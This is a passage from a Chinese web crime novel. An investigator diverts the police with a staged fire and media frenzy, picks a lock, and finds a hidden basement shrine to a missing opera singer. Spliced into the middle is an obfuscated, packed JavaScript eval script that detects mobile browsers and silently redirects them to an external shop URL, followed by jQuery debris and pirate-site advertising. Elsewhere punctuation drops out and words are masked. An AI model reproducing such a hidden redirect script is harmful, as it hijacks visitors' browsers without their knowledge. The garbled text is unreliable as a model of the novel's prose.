“就是那里。”
齐学斌眼中闪过一道精光,“阿伟是个道具师,他一辈子都在做假的东西。但他对周红玉的感情是真的。
如果周红玉真的**,他绝对不会就把她随便埋在荒野岭,任由野狗啃食。他会给她一个‘家’,或者说,一个‘舞台’。他把她藏在了自己眼皮子底下,用那个封死的偏房守护着她。”
“你是说,尸体就在他家那个偏房里?”
林晓雅惊讶地捂住了嘴,“这……这也太……”
“太疯狂了?”
齐学斌摇了摇头,“对于一个偏执的爱人来说,这叫‘守护’。而且,最危险的地方就是最安全的地方。谁能想到,一个失踪十年的大活人,其实一直就在大家眼皮子底下?”
“但是,阿伟家现在肯定被梁雨薇的人盯上了。”
顾阗月提醒道,“梁雨薇虽然傲慢,但她不傻。她肯定会派人在那里蹲守,或者已经在搜查了。我们一旦靠近,就会被打草惊蛇。而且现在你没有执法权,如果强行搜查,反而会给他们借口抓你,说你毁灭证据。”
“所以,我们不能明着去。”齐学斌嘴角勾起一抹狡黠的笑,“我们要演一场戏。一场让他们不得不自己把路让出来的戏。”
“什么戏?”林晓雅问。
齐学斌凑到两人面前,压低声音说了几句。
听完,林晓雅和顾阗月都愣住了,随后眼中露出了赞赏的光芒。
“你这家伙,还是那么腹黑。”林晓雅嗔怪地瞪了他一眼,但语气里却带着一丝宠溺,“这招‘声东击西’加‘借刀**’,估计梁雨薇想破脑袋也想不到。你是想把全城的警力都调走,还得让他们心甘情愿地去。”
“那就行动。”齐学斌站直了身子,“今晚,咱们就动起来。”
……
深夜,清河县城突然热闹了起来。
十几辆消防车拉着警笛,呼啸着向城南的化工厂废墟开去。火光冲天,把半个天空都映红了。
与此同时,网上突然爆出一条消息:有人在化工厂废墟发现了当年纵火案的关键证据,并且有目击者称看到了“鬼火”和神秘人影。甚至还有网友上传了模糊的视频,视频里似乎有人在挖掘什么。
这个消息像长了翅膀
一样迅速传遍了全县甚至惊动了省城的媒体。
梁雨薇正在酒店里休息接到电话后大吃一惊:“什么?化工厂又有新证据?齐学斌不是停职了吗?谁在查?”
“不知道好像是有人匿名举报。现在媒体都去了乱成一锅粥。老百姓也去了不少看热闹的。郑县长让我们赶紧去维持秩序怕出**。”电话那头的手下焦急地汇报。
“该死!”梁雨薇骂了一句把手机摔在床上“一定是齐学斌搞的鬼!他想转移视线!调动所有能在的人手去化工厂!即使是他在捣鬼我也不能让他在眼皮子底下搞出事情来!王家庄那边留两个看门的就行反正阿伟已经不在那了。”
随着梁雨薇一声令下原本盯着王家庄的眼线和警力大部分都被抽调去了城南。
而在城西通往王家庄的小路上一辆不起眼的送货面包车正悄无声息地穿过夜色。
车里齐学斌换上了一身黑色的冲锋衣戴着夜视仪手里拿着从小刘那里“借”来的专业**。顾阗月则背着勘查箱手里拿着一把强光战术手电。
“林**那边已经配合好了各大媒体都在直播城南的大火。现在整个清河的注意力都在城南。”
齐学斌一边熟练地操控着方向盘避开路上的监控探头一边说“我们有一个小时的时间。如果一个小时内找不到尸体我们就撤。否则一旦被梁雨薇反应过来咱们就是瓮中之鳖。”
“放心。”顾阗月拍了拍身后的箱子眼神坚定“只要尸体在那我就能让它开口说话。哪怕是一堆碎骨我也能验出DNA来。”
车子在一处隐蔽的树林里停下。两人下车借着夜色的掩护像两只猎豹一样快速向阿伟那个破败的院子摸去。
月黑风高**夜
阿伟家的院子在夜色中显得格外荒凉。
只有两个人轮班看守齐学斌二人很轻易地躲开了他的视线。
两扇破旧的木门半掩着院子里杂草丛生足有半人高在夜风中摇曳像是一个个张牙舞爪的鬼影。
风吹过草丛发出“沙沙”的声响像是有无数条毒蛇在暗处游动令人毛骨悚然。
齐学斌和顾阗月像两只轻灵的猫悄无
声息地翻过矮墙落在了院子里的软泥地上。
“很好里面没人看守了。”齐学斌蹲下身观察了一下四周的动静。只有几只受惊的蛐蛐在叫远处偶尔传来几声狗吠。
“去西偏房。”
两人猫着腰穿过齐腰深的杂草丛来到了那座从外面看起来封得死死的偏房前。
门是老式的木插销门上面挂着一把生锈的大锁。窗户不仅被木条封死还从里面钉上了铁皮连条缝都没留透不光也进不去风。
“这密封程度不像是个仓库
齐学斌掏出工具借着微弱的月光将金属探针插入锁孔。不到十秒钟只听“咔哒”一声轻响那把看起来牢不可破的锈锁开了。
他推了推门门轴因为长期未用发出令人牙酸的“吱呀”声。在这寂静的夜里这声音显得格外刺耳。
“小心有机关。”齐学斌拦住顾阗月先用手电晃了一下里面确认没有绊雷或者陷阱后才侧身进入。
屋子里很空除了一张落满灰尘的木床和一个巨大的老式衣柜什么都没有。地上积了厚厚的一层灰没有任何脚印说明这里确实很久没人踏足过。
“看来真的很久没人进来了。”顾阗月有些失望她四处打量着“难道我们猜错了?这里只是个废弃的仓库?”
“不对。”齐学斌走进屋子手电光在墙壁和地面上仔细扫过“如果是废弃仓库为什么阿伟要把门窗封得这么死?这种封法不仅是防盗更是为了……防腐。而且你闻到了吗?”
“什么?”顾阗月抽了抽鼻子“霉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135530|196253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
味?灰尘味?”
“不是一股很淡的……檀香味。”齐学斌走到那个巨大的衣柜前“阿伟是个道具师他懂木料也懂防腐。檀香不仅能驱虫还能掩盖……尸臭。”
他伸手拉开衣柜的门。
空的。只有几件破旧的戏服挂在里面像吊死鬼一样随风晃动。
齐学斌并不气馁他钻进衣柜伸手在柜子的背板上摸索。
“你在找什么?”顾阗月问。
“机关。”齐学斌的手指停在了一处微不可察的凸起上“阿伟这种顶级道具师做个暗门对他来说是小菜一碟。这
衣柜的深度不对,外面看着有一米深,里面只有八十公分。那二十公分去哪了?肯定有夹层。”
他用力按下那个凸起。
“咔嚓——轰隆隆——”
一阵沉闷的机械声响起,仿佛来自地狱的低吼。衣柜的背板竟然缓缓向两侧滑开,露出了一个黑洞洞的入口。
一股阴冷的风夹杂着更浓郁的檀香味扑面而来,吹得人汗**直竖。
顾阗月倒吸了一口凉气:“真有密室!”
“走。”齐学斌握紧手中的战术手电,带头钻了进去。
虽然他没有枪,但他那双坚毅的眼睛,比枪更有威慑力。
这是一条向下的台阶,修得很陡,两边的墙壁上挂着一盏盏早已熄灭的油灯。墙壁上还画着一些奇异的符号,像是某种戏曲里的脸谱,在手电光的照射下显得格外狰狞。
越往下走,空气越冷。那是深入地下的寒气,仿佛通向另一个世界。
走了大约三十级台阶,前方豁然开朗。
齐学斌手中的手电光束在黑暗中划过,当看清眼前的景象时,就连见多识广的他也忍不住头皮发麻。
这是一个巨大的地下室,足有上百平米。
但这里不像是个地窖,更像是一个……微缩的舞台。
正中央搭着一个小戏台,铺着红色的地毯,虽然已经积灰,但依然能看出当年的鲜艳。戏台两侧挂着红色的帷幔。而在戏台正对着的墙壁上,密密麻麻地贴满了照片。
全是周红玉。
有她练功的照片,有她演出的照片,有她笑的,有她哭的。每一张都被精心装裱过,像是供奉的神像。在照片墙的前面,还摆着香炉和早已燃尽的蜡烛。
“这是一个……神龛。”顾阗月声音颤抖,她被这种景象震撼了,“阿伟把他的一生都供奉在了这里。这不仅是爱,这是一种病态的崇拜。”
“不,不仅是崇拜。”齐学斌将手电光束移向戏台中央。
在那里,坐着一个人。
说</a>全网首发无弹窗免费阅读caixs.com←(请来才小
说
看最新章节
完整章节)
穿着一身鲜红的戏服,戴着凤冠霞帔,背对着他们,端坐在太师椅上。
如果不仔细看,你会以为那是一个正在候场准备登台的角儿。
……